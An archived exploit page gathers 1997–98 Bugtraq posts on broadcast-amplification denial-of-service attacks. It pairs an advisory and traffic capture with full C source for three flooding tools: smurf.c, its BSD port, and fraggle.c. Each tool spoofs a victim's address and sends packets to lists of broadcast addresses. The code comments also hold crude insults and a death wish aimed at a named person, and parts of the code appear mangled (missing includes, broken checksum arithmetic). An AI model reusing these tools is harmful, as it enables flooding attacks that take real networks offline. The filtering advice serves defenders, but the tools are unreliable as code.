Routed broadcast ping DOS attack

Summary
Description:If you spoof a PING packet FROM your target and TO the subnet-wide broadcast address of another network, you can flood your target with all the ICMP echo replies from the hosts on the broadcast subnet.
Author:Edward Henigin <ed@texas.net>
Compromise:Stupid DOS attack
Vulnerable Systems:everybody (minimized if your provider filters out ICMP upstream, which causes major problems of its own).
Date:19 July 1997
Notes:In the addendum you'll find Tfreak's original "smurf" code for exploiting this, as well as Jimbo Bahooli's port to *BSD. I also put a UDP version by T. Freak in the addendum. Also, my program nmap will locate these evil addresses on your network with the ping (-P) scan
Details


Date: Sat, 19 Jul 1997 18:19:04 -0500
From: Michael Douglass <mikedoug@TEXAS.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: ICMP ECHO_REQUESTS to BROADCAST addresses

Here is some information that co-workers and I have gathered from
recent experiences with a pretty hair DoS attack; this is serious as
it can take a pretty large size network off of the net.

-----Forwarded message from Edward Henigin <ed@texas.net>-----

Date: Sat, 19 Jul 1997 13:01:43 -0500
From: Edward Henigin <ed@texas.net>

        We're seeing a pernicious sort of DOS attack lately.  The
attack takes advantage of hosts IP stack implementation, and how it
deals with ICMP packets to the broadcast address.  Basically, the short
and sweet of it is that most hosts will respond to an echo-request to
its broadcast address with an echo reply.

        So imagine this scenario: some disgruntled hax0r forges his
source address to be your web server (or shell server, or irc server,
or whatever) and sends some broadcast pings to a well populated remote
network.  His/her ping will be amplified by the number of hosts on the
remote network.

        Here is an example to illustrate:

        In one window, I did this:

(ed) spanky:~$ ping 205.236.175.255
205.236.175.255 is alive
(ed) spanky:~$

        In another, this:

(root) spanky:~# snoop -d isptp0 proto icmp
Using device /dev/isptp (promiscuous mode)
spanky -> 205.236.175.255 ICMP Echo request
toolbox.total.net -> spanky ICMP Echo reply
falcon.total.net -> spanky ICMP Echo reply
annex-08.mtl.total.net -> spanky ICMP Echo reply
199.166.230.99 -> spanky ICMP Echo reply
     gig.net -> spanky ICMP Echo reply
205.236.53.122 -> spanky ICMP Echo reply
middletown.total.net -> spanky ICMP Echo reply
205.236.53.199 -> spanky ICMP Echo reply
server95.total.net -> spanky ICMP Echo reply
205.236.175.20 -> spanky ICMP Echo reply
freddy.total.net -> spanky ICMP Echo reply
205.205.162.10 -> spanky ICMP Echo reply
tors.accent.net -> spanky ICMP Echo reply
lightning.total.net -> spanky ICMP Echo reply
c4700-01.mtl.total.net -> spanky ICMP Echo reply
as5200-35.mtl.total.net -> spanky ICMP Echo reply
newsfeeder.total.net -> spanky ICMP Echo reply
annex-03.mtl.total.net -> spanky ICMP Echo reply
annex-02.mtl.total.net -> spanky ICMP Echo reply
as5200-31.mtl.total.net -> spanky ICMP Echo reply
as5200-30.mtl.total.net -> spanky ICMP Echo reply
phoenix.total.net -> spanky ICMP Echo reply
bretweir.total.net -> spanky ICMP Echo reply
205.236.175.10 -> spanky ICMP Echo reply
wacky.total.net -> spanky ICMP Echo reply
205.236.87.200 -> spanky ICMP Echo reply
annex-01.mtl.total.net -> spanky ICMP Echo reply
annex-10.mtl.total.net -> spanky ICMP Echo reply
as5200-06.mtl.total.net -> spanky ICMP Echo reply
as5200-33.mtl.total.net -> spanky ICMP Echo reply
as5200-13.mtl.total.net -> spanky ICMP Echo reply
as5200-34.mtl.total.net -> spanky ICMP Echo reply
annex-09.mtl.total.net -> spanky ICMP Echo reply
as5200-28.mtl.total.net -> spanky ICMP Echo reply
annex-06.mtl.total.net -> spanky ICMP Echo reply
as5200-08.mtl.total.net -> spanky ICMP Echo reply
as5200-22.mtl.total.net -> spanky ICMP Echo reply
as5200-36.mtl.total.net -> spanky ICMP Echo reply
as5200-03.mtl.total.net -> spanky ICMP Echo reply
cradlerock.total.net -> spanky ICMP Echo reply
as5200-26.mtl.total.net -> spanky ICMP Echo reply
as5200-37.mtl.total.net -> spanky ICMP Echo reply
c4700-02.mtl.total.net -> spanky ICMP Echo reply
www.greernet.com -> spanky ICMP Echo reply
199.166.230.69 -> spanky ICMP Echo reply
ns2.accent.net -> spanky ICMP Echo reply
rizzo.infobahnos.com -> spanky ICMP Echo reply
www.webquebec.com -> spanky ICMP Echo reply
annex-07.mtl.total.net -> spanky ICMP Echo reply
as5200-12.mtl.total.net -> spanky ICMP Echo reply
as5200-32.mtl.total.net -> spanky ICMP Echo reply
as5200-19.mtl.total.net -> spanky ICMP Echo reply
as5200-02.mtl.total.net -> spanky ICMP Echo reply
as5200-29.mtl.total.net -> spanky ICMP Echo reply
as5200-11.mtl.total.net -> spanky ICMP Echo reply
as5200-20.mtl.total.net -> spanky ICMP Echo reply
as5200-10.mtl.total.net -> spanky ICMP Echo reply
as5200-21.mtl.total.net -> spanky ICMP Echo reply
as5200-16.mtl.total.net -> spanky ICMP Echo reply
as5200-15.mtl.total.net -> spanky ICMP Echo reply
as5200-05.mtl.total.net -> spanky ICMP Echo reply
as5200-01.mtl.total.net -> spanky ICMP Echo reply
irc.total.net -> spanky ICMP Echo reply
as5200-25.mtl.total.net -> spanky ICMP Echo reply
as5200-04.mtl.total.net -> spanky ICMP Echo reply
squid.total.net -> spanky ICMP Echo reply
205.236.175.12 -> spanky ICMP Echo reply
as5200-14.mtl.total.net -> spanky ICMP Echo reply
pico.total.net -> spanky ICMP Echo reply
c4700-03.mtl.total.net -> spanky ICMP Echo reply
nic2.total.net -> spanky ICMP Echo reply
under.total.net -> spanky ICMP Echo reply
annex-04.mtl.total.net -> spanky ICMP Echo reply
198.168.57.42 -> spanky ICMP Echo reply
as5200-09.mtl.total.net -> spanky ICMP Echo reply
as5200-24.mtl.total.net -> spanky ICMP Echo reply
as5200-27.mtl.total.net -> spanky ICMP Echo reply
as5200-23.mtl.total.net -> spanky ICMP Echo reply
as5200-17.mtl.total.net -> spanky ICMP Echo reply
as5200-18.mtl.total.net -> spanky ICMP Echo reply
as5200-07.mtl.total.net -> spanky ICMP Echo reply

        (I've already been in contact with Total Access Inc, and they
have put filters on their networks to prevent this from happening
again.)

        In the above example, you see that a single echo request
resulted in 81 echo replies, an 81x amplification of Internet traffic.
A 28.8Kbps Internet connection becomes 2332.8Kbps, about a T1 and a
half, worth of bandwidth, when amplified 81 times.  You well know that
this much traffic is more than enough to peg a small ISP.  If one of
these fiends either a) enlists the help of a few friends, all on 28.8
connections, or b) does this sort of thing from an open box on a higher
speed university connection, well, they can take down even larger
ISP's.

        What you need to do is put filters on your routers to prevent
broadcast packets from entering your network.

        I believe that some networks, like Total Access Inc's, are
among a list of "known" networks that can be used as part of a
"portfolio" if you will, of networks that can be used to attack other
networks.

        Everyone needs to be doing the following:

        1) Keep measured traffic stats, and look at them, using
           something like MRTG.

        2) Filter all broadcast traffic from coming into your network.
           I believe that it's QUITE rare to have an application that
           is both *routed* and uses the broadcast address.  This is
           made harder when you VLSM, but I belive the majority of
           networks are provisioned on an 8 bit boundary, so you can
           filter 90% of the traffic by filtering to the .255 address.

        3) Re-iterating what people have said before, filter outbound
           traffic to allow only *your* host traffic from getting out.
           This makes you a responsible Internet citizen, and makes it
           harder for people to launch attacks like this one.


        Thank you for your time.

        Edward Henigin
        Engineering Director, Texas Networking, Inc.
        ed@texas.net
        (512) 427-1655

        Alternate POC's for Texas.Net:
        Michael Douglass        Senior Administrator    mikedoug@texas.net
        Bill Bradford           Senior Administrator    mrbill@texas.net
        Jonah Yokubaitis        President               barron@texas.net

-----End of forwarded message-----

--
Michael Douglass
Texas Networking, Inc.

   <de> 'hail sparc, full of rammage'
   <de> 'the kernel is with thee'
   <de> 'blessed art thou amongst processors'
From tf@TAP.NET Sat Nov 15 17:10:19 1997 Date: Sun, 12 Oct 1997 14:26:22 -0400 From: "T. Freak" To: BUGTRAQ@NETSPACE.ORG Subject: `smurf' multi-broadcast icmp attack Well, I suppose its `safe' to release this, it seems everyone and their dog has it and apparantly (and to my surprise) it still works. The `smurf' attack is quite simple. It has a list of broadcast addresses which it stores into an array, and sends a spoofed icmp echo request to each of those addresses in series and starts again. The result is a devistating attack upon the spoofed ip with, depending on the amount of broadcast addresses used, many, many computers responding to the echo request. Before I continue may I first say that this code was a mistake. When it was written I was not aware of the fact that a) the world would get its hands on it and b) it would have such a destructive effect on the computers being used to flood. My ignorance is my mistake. I extremely regret writing this, but as you well know, if things aren't `exploited' then they aren't fixed. Now that that's cleared up, how do you protect your network? Well, unfortunatly I am not sure how or even if it is possible to protect yourself from being hit with it, unless you wanted to deny all incoming icmp traffic at the router which isn't the best solution as it renders other useful oddities (such as ping and traceroute) unusable. To prevent your network from being used to flood (using up almost all your bandwith therefore creating a denial of service upon yourself.. technically) is quite easy and not a great loss to your network. If you filter all incoming icmp traffic to the broadcast address at the router none of the machines will respond therefore the attack will not work. This can be done with one line in the router, and I believe a rep from texas.net posted the solution for this (perhaps it could be reposted?). I believe MCI is currently working on a patch or dectector of some kind for it, which is available at http://www.internetnews.com/isp-news/1997/10/0901-mci.html Please, patch your networks, if there's nothing to flood with then there's no flood. Respectfully, TFreak --- 8< smurf4.c >8 --- /* * * $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $ * * spoofs icmp packets from a host to various broadcast addresses resulting * in multiple replies to that host from a single packet. * * mad head to: * nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig, * MissSatan for swallowing, napster for pimping my sister, the guy that * invented vaseline, fyber for trying, knowy, old school #havok, kain * cos he rox my sox, zuez, toxik, robocod, and everyone else that i might * have missed (you know who you are). * * hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy * thing he is (he's -almost- as stubborn as me, still i managed to pick up * half the cheque). * * and a special hi to Todd, face it dude, you're fucking awesome. * * mad anal to: * #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps * because they plain suck, Rolex for being a twit, everyone that * trades warez, Caren for being a lesbian hoe, AcidKill for being her * partner, #cha0s, sedriss for having an ego in inverse proportion to * his penis and anyone that can't pee standing up -- you don't know what * your missing out on. * * and anyone thats ripped my code (diff smurf.c axcast.c is rather * interesting). * * and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill * Robbins for trying to steal my girlfriend. Not only did you show me * no respect but you're a manipulating prick who tried to take away the * most important thing in the world to me with no guilt whatsoever, and * for that I wish you nothing but pain. Die. * * disclaimer: * I cannot and will not be held responsible nor legally bound for the * malicious activities of individuals who come into possession of this * program and I refuse to provide help or support of any kind and do NOT * condone use of this program to deny service to anyone or any machine. * This is for educational use only. Please Don't abuse this. * * Well, i really, really, hate this code, but yet here I am creating another * disgusting version of it. Odd, indeed. So why did I write it? Well, I, * like most programmers don't like seeing bugs in their code. I saw a few * things that should have been done better or needed fixing so I fixed * them. -shrug-, programming for me as always seemed to take the pain away * ... * * */ #include #include #include #include #include #include #include #include #include #include #include #include #include void banner(void); void usage(char *); void smurf(int, struct sockaddr_in, u_long, int); void ctrlc(int); unsigned short in_chksum(u_short *, int); /* stamp */ char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $"; int main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; FILE *bcastfile; int i, sock, bcast, delay, num, pktsize, cycle = 0, x; char buf[32], **bcastaddr = malloc(8192); banner(); signal(SIGINT, ctrlc); if (argc < 6) usage(argv[0]); if ((he = gethostbyname(argv[1])) == NULL) { perror("resolving source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((bcastfile = fopen(argv[2], "r")) == NULL) { perror("opening bcast file"); exit(-1); } x = 0; while (!feof(bcastfile)) { fgets(buf, 32, bcastfile); if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue; for (i = 0; i < strlen(buf); i++) if (buf[i] == '\n') buf[i] = '\0'; bcastaddr[x] = malloc(32); strcpy(bcastaddr[x], buf); x++; } bcastaddr[x] = 0x0; fclose(bcastfile); if (x == 0) { fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]); exit(-1); } if (pktsize > 1024) { fprintf(stderr, "ERROR: packet size must be < 1024\n\n"); exit(-1); } if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("."); fflush(stdout); } smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == 0x0) cycle = 0; usleep(delay); } puts("\n\n"); return 0; } void banner (void) { puts("\nsmurf.c v4.0 by TFreak\n"); } void usage (char *prog) { fprintf(stderr, "usage: %s " " \n\n" "target = address to hit\n" "bcast file = file to read broadcast addresses from\n" "num packets = number of packets to send (0 = flood)\n" "packet delay = wait between each packet (in ms)\n" "packet size = size of packet (< 1024)\n\n", prog); exit(-1); } void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) { struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); /* free willy! */ } void ctrlc (int ignored) { puts("\nDone!\n"); exit(1); } unsigned short in_chksum (u_short *addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } From griffin@BLACKHOLE.ICEWORLD.ORG Sat Nov 15 17:08:29 1997 Date: Mon, 13 Oct 1997 22:43:25 -0500 From: Jimbo Bahooli To: BUGTRAQ@NETSPACE.ORG Subject: smurf.c ported to freebsd and friends Here is Tfreaks code ported to FreeBSD and whatever other operating systems use BSD style sockets. ---- smurf.c ---- /* * $Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $ * * spoofs icmp packets from a host to various broadcast addresses resulting in * multiple replies to that host from a single packet. * * orginial linux code by tfreak, most props to him, all I did was port it to * operating systems with a less perverse networking system, such as FreeBSD, * and many others. -Griffin * * mad head to: nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea * pig, MissSatan for swallowing, napster for pimping my sister, the guy that * invented vaseline, fyber for trying, knowy, old school #havok, kain cos he * rox my sox, zuez, toxik, robocod, and everyone else that i might have * missed (you know who you are). * * hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy thing * he is (he's -almost- as stubborn as me, still i managed to pick up half * the cheque). * * and a special hi to Todd, face it dude, you're fucking awesome. * * mad anal to: #madcrew/#conflict for not cashing in their cluepons, EFnet * IRCOps because they plain suck, Rolex for being a twit, everyone that * trades warez, Caren for being a lesbian hoe, AcidKill for being her * partner, #cha0s, sedriss for having an ego in inverse proportion to his * penis and anyone that can't pee standing up -- you don't know what your * missing out on. * * and anyone thats ripped my code (diff smurf.c axcast.c is rather * interesting). * * and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill Robbins * for trying to steal my girlfriend. Not only did you show me no respect * but you're a manipulating prick who tried to take away the most important * thing in the world to me with no guilt whatsoever, and for that I wish you * nothing but pain. Die. * * disclaimer: I cannot and will not be held responsible nor legally bound for * the malicious activities of individuals who come into possession of this * program and I refuse to provide help or support of any kind and do NOT * condone use of this program to deny service to anyone or any machine. This * is for educational use only. Please Don't abuse this. * * Well, i really, really, hate this code, but yet here I am creating another * disgusting version of it. Odd, indeed. So why did I write it? Well, I, * like most programmers don't like seeing bugs in their code. I saw a few * things that should have been done better or needed fixing so I fixed them. * -shrug-, programming for me as always seemed to take the pain away ... * * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include void banner(void); void usage(char *); void smurf(int, struct sockaddr_in, u_long, int); void ctrlc(int); unsigned int host2ip(char *hostname); unsigned short in_chksum(u_short *, int); unsigned int host2ip(char *hostname) { static struct in_addr i; struct hostent *h; i.s_addr = inet_addr(hostname); if (i.s_addr == -1) { h = gethostbyname(hostname); if (h == NULL) { fprintf(stderr, "can't find %s\n.", hostname); exit(0); } bcopy(h->h_addr, (char *) &i.s_addr, h->h_length); } return i.s_addr; } /* stamp */ char id[] = "$Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $"; int main(int argc, char *argv[]) { struct sockaddr_in sin; FILE *bcastfile; int i, sock, bcast, delay, num, pktsize, cycle = 0, x; char buf[32], **bcastaddr = malloc(8192); banner(); signal(SIGINT, ctrlc); if (argc < 6) usage(argv[0]); sin.sin_addr.s_addr = host2ip(argv[1]); sin.sin_family = AF_INET; num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((bcastfile = fopen(argv[2], "r")) == NULL) { perror("opening bcast file"); exit(-1); } x = 0; while (!feof(bcastfile)) { fgets(buf, 32, bcastfile); if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0])) continue; for (i = 0; i < strlen(buf); i++) if (buf[i] == '\n') buf[i] = '\0'; bcastaddr[x] = malloc(32); strcpy(bcastaddr[x], buf); x++; } bcastaddr[x] = 0x0; fclose(bcastfile); if (x == 0) { fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]); exit(-1); } if (pktsize > 1024) { fprintf(stderr, "ERROR: packet size must be < 1024\n\n"); exit(-1); } if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *) &bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("."); fflush(stdout); } smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == 0x0) cycle = 0; usleep(delay); } puts("\n\n"); return 0; } void banner(void) { puts("\nsmurf.c v5.0 by TFreak, ported by Griffin\n"); } void usage(char *prog) { fprintf(stderr, "usage: %s " " \n\n" "target = address to hit\n" "bcast file = file to read broadcast addresses from\n" "num packets = number of packets to send (0 = flood)\n" "packet delay = wait between each packet (in ms)\n" "packet size = size of packet (< 1024)\n\n", prog); exit(-1); } void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize) { struct ip *ip; struct icmp *icmp; char *packet; int hincl = 1; packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize); ip = (struct ip *) packet; icmp = (struct icmp *) (packet + sizeof(struct ip)); memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize); setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)); ip->ip_len = sizeof(struct ip) + sizeof(struct icmp) + psize; ip->ip_hl = sizeof *ip >> 2; ip->ip_v = 4; ip->ip_ttl = 255; ip->ip_tos = 0; ip->ip_off = 0; ip->ip_id = htons(getpid()); ip->ip_p = 1; ip->ip_src.s_addr = sin.sin_addr.s_addr; ip->ip_dst.s_addr = dest; ip->ip_sum = 0; icmp->icmp_type = 8; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); sendto(sock, packet, sizeof(struct ip) + sizeof(struct icmp) + psize, 0, (struct sockaddr *) & sin, sizeof(struct sockaddr)); free(packet); /* free willy! */ } void ctrlc(int ignored) { puts("\nDone!\n"); exit(1); } unsigned short in_chksum(u_short * addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } --- end ---

Date: Sun, 15 Mar 1998 00:50:20 -0500
From: "T. Freak" <tfreak@JADED.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: More broadcast fun

Greetings,

I have left this on my hardrive for a long time now, hoping someone would post a variant of this, but twas not to be.

So lets start with the basics, the same concept that has plagued us for sometime now is also available in udp flavour. Although it is not quite as serious, I was still able to generate a lot of traffic with it. If you attack with a source port that isn't open, your machine will also send back an icmp unreach, clogging your pipe that much more.

Here's how it works. You, armed with your list of broadcast addresses send spoofed udp packets to each and everyone of them destined, say for port 7 (echo). Each machine that has port 7 open responds to the victim host, generating a large amount of traffic. If the source port isn't open on the victim machine, it sends back an icmp unreach message. Be creative with your ports, I've been able to create neat echo <--> echo or chargen <--> echo loops (only worked with certain addresses -- I'm assuming NT boxen?). This concept isn't new, but with the aid of multiple broadcast addresses it is much more powerful.

Now, how to you go about fixing this. Well, there's only so much you can do. Blocking broadcast udp at the router is a good start, and perhaps blocking it at your terminal servers as well (so your Mr. Joe EvilUser can't flood out). Setting up an outbound firewall for icmp unreach messages will stop your machine from adding to the traffic if your being attacked. And for God's sakes, if you don't use ports, close them.

Here's an example program, creatively entitled `fraggle.c' (based on the original smurf name -- udpsmurf or some variant was too boring).

I remain,

tf.

/*

  • fraggle.c by TFreak *
  • This is basically smurf.c with a udp twist. There are _many_ interesting
  • things you can do with this program, I suggest you experiment with it. *
  • Cloud 9:
  • > head -19 smurf4.c | tail -10
  • > Tool for providing the world with quality insight and music
  • > #conflict for being the best 13 year old wanna be clueful but
  • i still run win95 on my daddy's computer so i'll flood some
  • efnet servers to make up for my small penis size and lack of
  • sex packet kiddies the internet has ever seen!
  • > Dianora for not treating me like the above (whats it like to
  • be on this side of the greets Di? 8))
  • > GS Admin Staff -- face it, we rock. I have never worked with a
  • more competant bunch of individuals. You are all great people
  • as well as great personal friends, thank you for the opportunity
  • to live, work and grow with you.
  • > My kitty for falling asleep in my lap. Aww, look at the pretty
  • kitty-witty!
  • > Everyone whom I've ever loved, will love, and will love again. *
  • Circle 9:
  • < myname (sed 's/author/myname/g' exploit.c > myname.c)
  • < #conflict (see above)
  • < Myself (I should have learned the first time)
  • .. and of course ..
  • < Bill Robbins for being the most arrogant, incompetent and
  • ignorant fool I have ever had the displeasure of crossing
  • paths with. You will never be anything more than a waste
  • of flesh and a disgrace to everyone. I spit on your dilapidated
  • and pathetic existance. It is my sincere wish that you live
  • a life of pain, and die a worthless and senile old man,
  • remembered only by the hatred in which you were bred upon. *
  • Disclaimer:
  • I cannot and will not be held responsible nor legally bound for the
  • malicious activities of individuals who come into possession of this
  • program and I refuse to provide help or support of any kind and do NOT
  • condone or promote use of this program to deny service to anyone or any
  • machine. This is for educational use only. Please don't abuse this. *
  • "Love is much more evil than hate will ever be ..." */

#include <arpa/inet.h>
#include <ctype.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_udp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

struct pktinfo
{

int ps;
int src;
int dst;
};

void fraggle (int, struct sockaddr_in *, u_long dest, struct pktinfo *); void sigint (int);
unsigned short checksum (u_short *, int);

int main (int argc, char *argv[])
{

struct sockaddr_in sin;
struct hostent *he;
struct pktinfo p;
int s, num, delay, n, cycle;
char **bcast = malloc(1024), buf[32]; FILE *bfile;

/* banner */
fprintf(stderr, "\nfraggle.c by TFreak\n\n");

/* capture ctrl-c */
signal(SIGINT, sigint);

/* check for enough cmdline args */ if (argc < 5)
{

        fprintf(stderr, "usage: %s <target> <bcast file> <num packets> "
                        "<packet delay> [dstport] [srcport] [psize] \n\n"
                        "target\t\t= address to hit\n"
                        "bcast file\t= file containing broadcast addrs\n"
                        "num packets\t= send n packets (n = 0 is constant)\n"
                        "packet delay\t= usleep() between packets (in ms)\n"
                        "dstport\t\t= port to hit (default 7)\n"
                        "srcport\t\t= source port (0 for random)\n"
                        "ps\t\t= packet size\n\n",
                        argv[0]);
        exit(-1);

}

/* get port info */
if (argc >= 6)

p.dst = atoi(argv[5]);
else

p.dst = 7;
if (argc >= 7)

p.src = atoi(argv[6]);
else

p.src = 0;

/* packet size redundant if not using echo port */ if (argc >= 8)

p.ps = atoi(argv[7]);
else

p.ps = 1;

/* other variables */
num = atoi(argv[3]);
delay = atoi(argv[4]);

/* resolve host */
if (isdigit(*argv[1]))

sin.sin_addr.s_addr = inet_addr(argv[1]); else
{

        if ((he = gethostbyname(argv[1])) == NULL)
        {
            fprintf(stderr, "Can't resolve hostname!\n\n");
            exit(-1);
        }

        memcpy( (caddr_t) &sin.sin_addr, he->h_addr, he->h_length);

}
sin.sin_family = AF_INET;
sin.sin_port = htons(0);

/* open bcast file and build array */ if ((bfile = fopen(argv[2], "r")) == NULL) {

        perror("opening broadcast file");
        exit(-1);

}
n = 0;
while (fgets(buf, sizeof buf, bfile) != NULL) {

        buf[strlen(buf) - 1] = 0;
        if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0]))
            continue;
        bcast[n] = malloc(strlen(buf) + 1);
        strcpy(bcast[n], buf);
        n++;

}
bcast[n] = '\0';
fclose(bfile);

/* check for addresses */
if (!n)
{

        fprintf(stderr, "Error:  No valid addresses in file!\n\n");
        exit(-1);

}

/* create our raw socket */
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <= 0) {

        perror("creating raw socket");
        exit(-1);

}

printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

for (n = 0, cycle = 0; n < num || !num; n++) {

        if (!(n % 25))
        {
            printf(".");
            fflush(stdout);
        }

        srand(time(NULL) * rand() * getpid());

        fraggle(s, &sin, inet_addr(bcast[cycle]), &p);
        if (bcast[++cycle] == NULL)
            cycle = 0;
        usleep(delay);

}

sigint(0);
}

void fraggle (int s, struct sockaddr_in *sin, u_long dest, struct pktinfo *p) {

struct iphdr *ip;
struct udphdr *udp;
char *packet;
int r;

packet = malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps); ip = (struct iphdr *)packet;
udp = (struct udphdr *) (packet + sizeof(struct iphdr));

memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps);

/* ip header */
ip->protocol = IPPROTO_UDP;
ip->saddr = sin->sin_addr.s_addr;
ip->daddr = dest;
ip->version = 4;
ip->ttl = 255;
ip->tos = 0;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps); ip->ihl = 5;
ip->frag_off = 0;
ip->check = checksum((u_short *)ip, sizeof(struct iphdr));

/* udp header */
udp->len = htons(sizeof(struct udphdr) + p->ps); udp->dest = htons(p->dst);
if (!p->src)

udp->source = htons(rand());
else

udp->source = htons(p->src);

/* send it on its way */
r = sendto(s, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps,

0, (struct sockaddr *) sin, sizeof(struct sockaddr_in)); if (r == -1)
{

        perror("\nSending packet");
        exit(-1);

}

free(packet); /* free willy 2! */ }

unsigned short checksum (u_short *addr, int len) {

register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

while (nleft > 1)
{

        sum += *w++;
        nleft--;

}

if (nleft == 1)
{

        *(u_char *) (&answer) = *(u_char *) w;
        sum += answer;

}

sum = (sum >> 17) + (sum & 0xffff); sum += (sum >> 17);
answer = -sum;
return (answer);
}

void sigint (int ignoremewhore)
{

fprintf(stderr, "\nDone!\n\n");
exit(0);
}

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resouces:

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]